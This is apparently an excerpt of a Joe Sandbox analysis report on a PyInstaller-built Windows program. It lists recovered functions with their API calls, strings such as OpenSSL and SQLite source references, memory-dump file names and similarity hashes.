Instruction Fuzzy Hash: 42510272F1864281EB62CA65D06473927E1FB04BA0F4746B9CA3D0B3F9DF2DE8418740

Function 00007FFDFAE621E0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

00007FFE1FFB6570.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDFAE6220A
00007FFE1FFB6570.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDFAE62228

Strings

CJK UNIFIED IDEOGRAPH-, xrefs: 00007FFDFAE6221E
HANGUL SYLLABLE , xrefs: 00007FFDFAE62200

Memory Dump Source

Source File: 00000001.00000002.2116621230.00007FFDFAE61000.00000040.00000001.01000000.00000013.sdmp, Offset: 00007FFDFAE60000, based on PE: true

Associated: 00000001.00000002.2116507686.00007FFDFAE60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2116621230.00007FFDFAEAA000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2116621230.00007FFDFAEB8000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2116621230.00007FFDFAF07000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2116621230.00007FFDFAF0C000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2116621230.00007FFDFAF0F000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2117242370.00007FFDFAF10000.00000080.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2117294434.00007FFDFAF12000.00000004.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfae60000_program.jbxd

Similarity

API ID: 00007B6570
String ID: CJK UNIFIED IDEOGRAPH-$HANGUL SYLLABLE
API String ID: 4069847057-87138338
Opcode ID: a963b875801d9843ea49cd289ad9d5ca77fa3890532c8e824ee28ee48ef07934
Instruction ID: 70d793f23d9f32deca3c5870d7907b8680c0c05067fd366b68621030ac627b06
Opcode Fuzzy Hash: a963b875801d9843ea49cd289ad9d5ca77fa3890532c8e824ee28ee48ef07934
Instruction Fuzzy Hash: BD414572F2C74286EB28AF18E414A697751EB81B90F444630EAAF47BDDDF3DE4058B40

Function 00007FFE007619DD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 110COMMON

Download Yara Rule

APIs

00007FFDFAF24D31.LIBCRYPTO-3 ref: 00007FFE007A21AB
00007FFDFAF24D31.LIBCRYPTO-3 ref: 00007FFE007A21ED
00007FFDFAF24D31.LIBCRYPTO-3 ref: 00007FFE007A222F

Strings

..\s\ssl\tls_srp.c, xrefs: 00007FFE007A229E, 00007FFE007A22B0

Memory Dump Source

Source File: 00000001.00000002.2119745990.00007FFE00761000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFE00760000, based on PE: true

Associated: 00000001.00000002.2119715206.00007FFE00760000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E5000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE0080D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00818000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00823000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119967268.00007FFE00827000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119999506.00007FFE00829000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe00760000_program.jbxd

Similarity

API ID: 00007
String ID: ..\s\ssl\tls_srp.c
API String ID: 3568877910-1778748169
Opcode ID: 5de455a0e33419aeed79645b2a849e8fb5092a76a7a5c4db12254346f5210564
Instruction ID: 8b6517fbce4d300748b82099fa9ab081dd25f3e367956e5cb44124db3375aba6
Opcode Fuzzy Hash: 5de455a0e33419aeed79645b2a849e8fb5092a76a7a5c4db12254346f5210564
Instruction Fuzzy Hash: 5A411221A0BA8384FE54BF59955077822A1BF82F84F1D4536EF5D4B7AEDF3CA8128310

Function 00007FF6B7507E20 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000000,?,00007FF6B750352C,?,00000000,00007FF6B7503F23), ref: 00007FF6B7507F32

Strings

%s%c, xrefs: 00007FF6B7507EA4
%.*s, xrefs: 00007FF6B7507EEB
\, xrefs: 00007FF6B7507E97

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: CreateDirectory
String ID: %.*s$%s%c$\
API String ID: 4241100979-1685191245
Opcode ID: a1c59376f93c8b4c6db0aee125681cb96c2ab9e1787ffa8cf6eb7b68f1c1c36c
Instruction ID: 2d830b80e12cbc9dbe8d8da00474cc222322cf14f104e082e1db06b220a04172
Opcode Fuzzy Hash: a1c59376f93c8b4c6db0aee125681cb96c2ab9e1787ffa8cf6eb7b68f1c1c36c
Instruction Fuzzy Hash: D131E66271DAC145EA218B28E4503EA6358EF84BE8F440631EF6D877E9DF3CD6458700

Function 00007FF6B7502810 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32 ref: 00007FF6B75028EA

Strings

Error, xrefs: 00007FF6B75028DD
ERROR, xrefs: 00007FF6B750286F
[PYI-%d:%ls] , xrefs: 00007FF6B7502868

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: Message
String ID: ERROR$Error$[PYI-%d:%ls]
API String ID: 2030045667-255084403
Opcode ID: 035b7a672ed8def45fe49a9c290554376ffedfd07499b26c39d849b73b89d90e
Instruction ID: 0951eebf42bbb2f49d1416f930d09a427540ecae0a2d2a0830ecf9075305326d
Opcode Fuzzy Hash: 035b7a672ed8def45fe49a9c290554376ffedfd07499b26c39d849b73b89d90e
Instruction Fuzzy Hash: F921AE63B0CB8182E7219B58F8447EA63A4FB88784F400136EF8D97669EE3CE245C740

Function 00007FF6B751C5A0 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF6B751C61F
WriteFile.KERNEL32 ref: 00007FF6B751C8E7
WriteFile.KERNEL32 ref: 00007FF6B751C92D
GetLastError.KERNEL32 ref: 00007FF6B751C9E3

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 04e310725d937c0b27e7ac1e6c46040fced781be2c4963351fe3137ba04acc33
Instruction ID: 44dc6140cc07823e08c36d7133b7fb63651f8aa41e4be9516083f75f5c8f87c4
Opcode Fuzzy Hash: 04e310725d937c0b27e7ac1e6c46040fced781be2c4963351fe3137ba04acc33
Instruction Fuzzy Hash: AAD1E073B0CA918AE711CF6AC4402AC37A1FB55799B444226DF4E97FE9EE39E046C300

Function 00007FF6B751CF60 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6B751CF4B), ref: 00007FF6B751D07C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6B751CF4B), ref: 00007FF6B751D107

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: a47a8d54e36ced6583969bea4ac316e5fdc1f02f5f342ddc714eca2f45cad1a1
Instruction ID: 6d89d0196e781cbe9b536f63fc846c5fa44fd028449234b695db76210944b5d4
Opcode Fuzzy Hash: a47a8d54e36ced6583969bea4ac316e5fdc1f02f5f342ddc714eca2f45cad1a1
Instruction Fuzzy Hash: 1191ADB3E1C76285F7609F6D94406BD2BA0AB44B89F544139DF0EA7EA4DF39E482D700

Function 00007FF6B751F98C Relevance: 6.2, APIs: 4, Instructions: 162COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF6B751FA7C
_get_daylight.LIBCMT ref: 00007FF6B751FA8D
_get_daylight.LIBCMT ref: 00007FF6B751FA9E
_isindst.LIBCMT ref: 00007FF6B751FB69

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: 873197461a12b50781dd6dd2a54ab0b7f590f407db75148e336b6c99fa373a01
Instruction ID: 2480a9834041957690d72a35a3b3ad33d18c6458603f197fed6fc41226b2a31f
Opcode Fuzzy Hash: 873197461a12b50781dd6dd2a54ab0b7f590f407db75148e336b6c99fa373a01
Instruction Fuzzy Hash: 6451A573F092218AEB14DF689D556BC3765AB4436AF500235DF1E96EF5DF3CAC428600

Function 00007FF6B751577C Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00007FF6B75157AF
GetFileInformationByHandle.KERNEL32 ref: 00007FF6B7515811
GetLastError.KERNEL32 ref: 00007FF6B75158A2
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6B75156B4), ref: 00007FF6B75158EE

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: 601044899bb77d1db34704472f686b9691880a3163deed0eb7e9945e8072c835
Instruction ID: 803bd9ca3fe3c0d96ccc62fc5c04e7848bbf9edbc97e47014380b2b047fb8bdb
Opcode Fuzzy Hash: 601044899bb77d1db34704472f686b9691880a3163deed0eb7e9945e8072c835
Instruction Fuzzy Hash: 8C516A23E086518AFB10DFB994503BD27A1AB48B99F248535EF4D9BAA9DF38E4418701

Function 00007FFE013640F0 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

00007FFE1A463010.VCRUNTIME140 ref: 00007FFE01364165
00007FFE1A463010.VCRUNTIME140 ref: 00007FFE01364189
00007FFE1A463010.VCRUNTIME140 ref: 00007FFE013641A8
00007FFE1A463010.VCRUNTIME140 ref: 00007FFE013641C0

Memory Dump Source

Source File: 00000001.00000002.2120062918.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2120031328.00007FFE01300000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01461000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01463000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01478000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120284056.00007FFE0147A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120315849.00007FFE0147C000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_program.jbxd

Similarity

API ID: 00007A463010
String ID:
API String ID: 4225454184-0
Opcode ID: 64d0e023b8156f1abb0180eff28680d25e95d8f25c8afd14df0e7a8be79250ce
Instruction ID: 0dec83d39894424bb613d8cbbe4bd8dd6449324418371643381e357d98a2bbc8
Opcode Fuzzy Hash: 64d0e023b8156f1abb0180eff28680d25e95d8f25c8afd14df0e7a8be79250ce
Instruction Fuzzy Hash: 372148A2B19B5283DB64AF16B5511BAA3A1FF44BC0F095135DB8E4BFA6DF2CE0518700

Function 00007FF6B75020C0 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF6B75020F4
SetWindowLongPtrW.USER32 ref: 00007FF6B7502116
GetWindowLongPtrW.USER32 ref: 00007FF6B7502140
InvalidateRect.USER32 ref: 00007FF6B7502160

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: LongWindow$DialogInvalidateRect
String ID:
API String ID: 1956198572-0
Opcode ID: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction ID: 6214889d40ec9376fab55ed24eb7b1ce0963c1cda315b5dcd7b41a35f671fae4
Opcode Fuzzy Hash: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction Fuzzy Hash: EB110C23F0C14642F655876DE98427953A2FF88784F448030DB4947BA9DD3DE6C58240

Function 00007FF6B750D010 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF6B750D03C
GetCurrentThreadId.KERNEL32 ref: 00007FF6B750D04A
GetCurrentProcessId.KERNEL32 ref: 00007FF6B750D056
QueryPerformanceCounter.KERNEL32 ref: 00007FF6B750D066

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 884c9866f0db1ea4ea3e8c559fd458021c8c8106c035f87ab540984eb8a2d97e
Instruction ID: cf0a4ed76acf0aa4311c429a08e1263f8d6a44b67f07f7297b7b6e0ae947c764
Opcode Fuzzy Hash: 884c9866f0db1ea4ea3e8c559fd458021c8c8106c035f87ab540984eb8a2d97e
Instruction Fuzzy Hash: 83111822B18B058AEB008B64E8542B933B4FB59758F440E35DB6D867B4EF7CD1A48340

Function 00007FFDFAE62E0C Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FFDFAE62E38
GetCurrentThreadId.KERNEL32 ref: 00007FFDFAE62E46
GetCurrentProcessId.KERNEL32 ref: 00007FFDFAE62E52
QueryPerformanceCounter.KERNEL32 ref: 00007FFDFAE62E62

Memory Dump Source

Source File: 00000001.00000002.2116621230.00007FFDFAE61000.00000040.00000001.01000000.00000013.sdmp, Offset: 00007FFDFAE60000, based on PE: true

Associated: 00000001.00000002.2116507686.00007FFDFAE60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2116621230.00007FFDFAEAA000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2116621230.00007FFDFAEB8000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2116621230.00007FFDFAF07000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2116621230.00007FFDFAF0C000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2116621230.00007FFDFAF0F000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2117242370.00007FFDFAF10000.00000080.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2117294434.00007FFDFAF12000.00000004.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfae60000_program.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 1143ce772416530538e6e632f3059b38426edc2ca8d0a1c1cafe6258f8b28d68
Instruction ID: 2f23a18ad54500a2fa63d70eef5f40e8dd026198a15443028218e2d25cfdccfe
Opcode Fuzzy Hash: 1143ce772416530538e6e632f3059b38426edc2ca8d0a1c1cafe6258f8b28d68
Instruction Fuzzy Hash: 91115236B24F058AEB54DF60E8647B833A4FB19758F440E31EA6E467A8DF7CD1548740

Function 00007FFE007DECE0 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FFE007DED0C
GetCurrentThreadId.KERNEL32 ref: 00007FFE007DED1A
GetCurrentProcessId.KERNEL32 ref: 00007FFE007DED26
QueryPerformanceCounter.KERNEL32 ref: 00007FFE007DED36

Memory Dump Source

Source File: 00000001.00000002.2119745990.00007FFE00761000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFE00760000, based on PE: true

Associated: 00000001.00000002.2119715206.00007FFE00760000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E5000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE0080D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00818000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00823000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119967268.00007FFE00827000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119999506.00007FFE00829000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe00760000_program.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: c228ff487a8229492adc3f8944b6875e240ddca761839ed72b11deef452fc955
Instruction ID: ce008a00f89694371858310820a76f03f529d31141f4a6223f560602a8f0f5c9
Opcode Fuzzy Hash: c228ff487a8229492adc3f8944b6875e240ddca761839ed72b11deef452fc955
Instruction Fuzzy Hash: B7112A26B14F45CAEB00DF60E8556F833A8FB59B58F440E31DB6D867A8EF78D1988350

Function 00007FFE00761A05 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 283COMMON

Download Yara Rule

APIs

00007FFE1FFB08A0.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FFE00770C5B

Strings

d2i_SSL_SESSION, xrefs: 00007FFE00770AC2, 00007FFE00770B47, 00007FFE00770B88, 00007FFE00770DA2
..\s\ssl\ssl_asn1.c, xrefs: 00007FFE00770ACE, 00007FFE00770B53, 00007FFE00770B94, 00007FFE00770D34, 00007FFE00770DAE, 00007FFE00770DFA, 00007FFE00770E6F

Memory Dump Source

Source File: 00000001.00000002.2119745990.00007FFE00761000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFE00760000, based on PE: true

Associated: 00000001.00000002.2119715206.00007FFE00760000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E5000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE0080D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00818000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00823000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119967268.00007FFE00827000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119999506.00007FFE00829000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe00760000_program.jbxd

Similarity

API ID: 00007
String ID: ..\s\ssl\ssl_asn1.c$d2i_SSL_SESSION
API String ID: 3568877910-384499812
Opcode ID: 2a5271567f02ba352d921ff3c4e2fac1e9ecca7785b90009fd4beffc7ef3d7b0
Instruction ID: 99bb4ea34eb40162b794645ee139b1ccd1ab0b51f09ba9946776e023c1015e02
Opcode Fuzzy Hash: 2a5271567f02ba352d921ff3c4e2fac1e9ecca7785b90009fd4beffc7ef3d7b0
Instruction Fuzzy Hash: DED12A22A0AB86D2EB66AF25D4902B927A4FB44B84F4C8036DF4D477A9DF3CE551C350

Function 00007FFE00762126 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 268COMMON

Download Yara Rule

APIs

00007FFE1FFB08A0.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FFE0078F76D

Strings

..\s\ssl\ssl_sess.c, xrefs: 00007FFE0078F73E, 00007FFE0078F7E0, 00007FFE0078F890
ssl_get_prev_session, xrefs: 00007FFE0078F732, 00007FFE0078F7D4, 00007FFE0078F884

Memory Dump Source

Source File: 00000001.00000002.2119745990.00007FFE00761000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFE00760000, based on PE: true

Associated: 00000001.00000002.2119715206.00007FFE00760000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E5000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE0080D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00818000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00823000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119967268.00007FFE00827000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119999506.00007FFE00829000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe00760000_program.jbxd

Similarity

API ID: 00007
String ID: ..\s\ssl\ssl_sess.c$ssl_get_prev_session
API String ID: 3568877910-1331951588
Opcode ID: e391f8e95c0f4977e9b0a03ed3c244edb74b16920bfda910dd9f54047f92028c
Instruction ID: 0054f820ef3f1a97a887ae48aa783f99be6919d11d7becb9d57f4c01f510539e
Opcode Fuzzy Hash: e391f8e95c0f4977e9b0a03ed3c244edb74b16920bfda910dd9f54047f92028c
Instruction Fuzzy Hash: 5EC17C26B1A68282FB64EB21D5547B963A4FB84B88F484132DF4E477BADF3DE451C700

Function 00007FFE013705E0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 228COMMON

Download Yara Rule

APIs

00007FFE1A463010.VCRUNTIME140 ref: 00007FFE01370782
00007FFE1A463010.VCRUNTIME140 ref: 00007FFE0137079B

Strings

string or blob too big, xrefs: 00007FFE013708AD

Memory Dump Source

Source File: 00000001.00000002.2120062918.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2120031328.00007FFE01300000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01461000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01463000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01478000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120284056.00007FFE0147A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120315849.00007FFE0147C000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_program.jbxd

Similarity

API ID: 00007A463010
String ID: string or blob too big
API String ID: 4225454184-2803948771
Opcode ID: b81232058dfc0d3f4fd89c77043a3447b7e04635d1bf8bf30793d04e799f5449
Instruction ID: 54051858877c67e645dbbe0ca414eebb074d9fdd68227e3f408fa93ac17c50e5
Opcode Fuzzy Hash: b81232058dfc0d3f4fd89c77043a3447b7e04635d1bf8bf30793d04e799f5449
Instruction Fuzzy Hash: 4A919821A0838285FB7C9B1590653B967A0EF82B98F164139EE4E0B3F6DE3DE845C740

